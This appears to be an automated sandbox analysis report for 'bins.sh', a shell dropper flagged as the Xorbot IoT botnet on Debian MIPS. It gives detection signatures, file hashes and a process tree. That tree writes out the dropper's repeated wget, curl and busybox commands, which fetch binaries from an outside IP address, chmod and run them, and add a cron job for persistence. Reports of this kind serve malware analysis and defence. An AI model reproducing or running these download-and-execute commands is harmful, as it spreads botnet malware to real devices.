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Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/02/2025, 18:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d8126e215a151514ecccbac0d89fa606

  • SHA1

    b1a73227b60aed5bec1dfb839fb3284e529c3f14

  • SHA256

    37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45

  • SHA512

    c5fb3b89c403a94cb75a375c82d4f541f3d1d290dd37156449ed63ae0d5ffa578a951e9068f65c8a353bd8e482cb73305b19a7401302a703351b3d3540cc7f7a

  • SSDEEP

    192:NmZcq5vRAiAeAdAgAYA4bAiAeAdAgAYAuQn:Nm/5vRVxmnfTbVxmnfY

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:714
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:818
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:819
      • /bin/chmod
        chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • File and Directory Permissions Modification
        PID:820
      • /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
          PID:821
        • /bin/rm
          rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
          2⤵
            PID:823
          • /usr/bin/wget
            wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:824
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:825
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:826
          • /bin/chmod
            chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • File and Directory Permissions Modification
            PID:827
          • /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:828
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:830
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:831
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:832
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:833
              • /bin/rm
                rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
                2⤵
                  PID:835
                • /usr/bin/wget
                  wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                  2⤵
                    PID:838
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                    2⤵
                      PID:839
                    • /bin/busybox
                      /bin/busybox wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                      2⤵
                      • Writes file to tmp directory
                      PID:840
                    • /bin/chmod
                      chmod 777 HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                      2⤵
                      • File and Directory Permissions Modification
                      PID:841
                    • /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                      ./HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                      2⤵
                        PID:842
                      • /bin/rm
                        rm HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                        2⤵
                          PID:844
                        • /usr/bin/wget
                          wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                          2⤵
                            PID:845
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                            2⤵
                              PID:846
                            • /bin/busybox
                              /bin/busybox wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                              2⤵
                              • Writes file to tmp directory
                              PID:847
                            • /bin/chmod
                              chmod 777 yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                              2⤵
                              • File and Directory Permissions Modification
                              PID:848
                            • /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                              ./yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                              2⤵
                                PID:849
                              • /bin/rm
                                rm yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                                2⤵
                                  PID:851
                                • /usr/bin/wget
                                  wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                  2⤵
                                    PID:852
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                    2⤵
                                    • Reads runtime system information
                                    PID:853
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:854
                                  • /bin/chmod
                                    chmod 777 A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:855
                                  • /tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                    ./A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                    2⤵
                                      PID:856
                                    • /bin/rm
                                      rm A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                                      2⤵
                                        PID:858
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                        2⤵
                                          PID:859
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                          2⤵
                                            PID:860
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:861
                                          • /bin/chmod
                                            chmod 777 3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:862
                                          • /tmp/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                            ./3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                            2⤵
                                              PID:863
                                            • /bin/rm
                                              rm 3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                              2⤵
                                                PID:865
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                2⤵
                                                  PID:866
                                                • /usr/bin/curl
                                                  curl -O http://37.44.238.88/bins/os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                  2⤵
                                                    PID:867
                                                  • /bin/busybox
                                                    /bin/busybox wget http://37.44.238.88/bins/os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:868
                                                  • /bin/chmod
                                                    chmod 777 os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:869
                                                  • /tmp/os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                    ./os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                    2⤵
                                                      PID:870
                                                    • /bin/rm
                                                      rm os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM
                                                      2⤵
                                                        PID:872
                                                      • /usr/bin/wget
                                                        wget http://37.44.238.88/bins/945t6Yyav7wJ6Exh6Qf59Z61W9vExfD06d
                                                        2⤵
                                                          PID:873

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt

                                                        Filesize

                                                        99KB

                                                        MD5

                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                        SHA1

                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                        SHA256

                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                        SHA512

                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                      • /tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2

                                                        Filesize

                                                        112KB

                                                        MD5

                                                        05d7857dcead18bbd86d2935f591873c

                                                        SHA1

                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                        SHA256

                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                        SHA512

                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                      • /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8

                                                        Filesize

                                                        107KB

                                                        MD5

                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                        SHA1

                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                        SHA256

                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                        SHA512

                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                      • /tmp/os2PtcurzMZCJ4JHoONH1P8HQwE5LEh6fM

                                                        Filesize

                                                        98KB

                                                        MD5

                                                        5141342d0df8699fa32a6b066a0c592e

                                                        SHA1

                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                        SHA256

                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                        SHA512

                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                      • /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

                                                        Filesize

                                                        96KB

                                                        MD5

                                                        98aa8afa73e4bd14bfb868a3c9e996b3

                                                        SHA1

                                                        452504c75fc6a9cbff4e1187237fce0385d24f9a

                                                        SHA256

                                                        362d61eb5473f811bd1afa8e0e5d660a2629d4063b3ba37869808363fdfedce8

                                                        SHA512

                                                        746a5c4dcd5b3586d3afa3bdcff486a1ace419243d9cc2d20c5b1686310d23cf923e9f842ec421d3270300d0e5e2fd809159eeb47e088da6aa8c9c9ff52b70e4

                                                      • /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /var/spool/cron/crontabs/tmp.eEXr48

                                                        Filesize

                                                        210B

                                                        MD5

                                                        86b777f588afcf6ae0d299ab3274ad70

                                                        SHA1

                                                        ddd72aaa9b1e2073f0affade139b038936c07564

                                                        SHA256

                                                        3db10f4d41400994d6261e336f2ad4495c6cf088fcee706c2fcf5338135e80e9

                                                        SHA512

                                                        1a898884b5674777cbf6392a51d002edff1c63a32681acda3de29d88e40d1782de0287aa8ce28ddd9dab5457aadb58d66e0401a7f793aa9799b7e674b3652736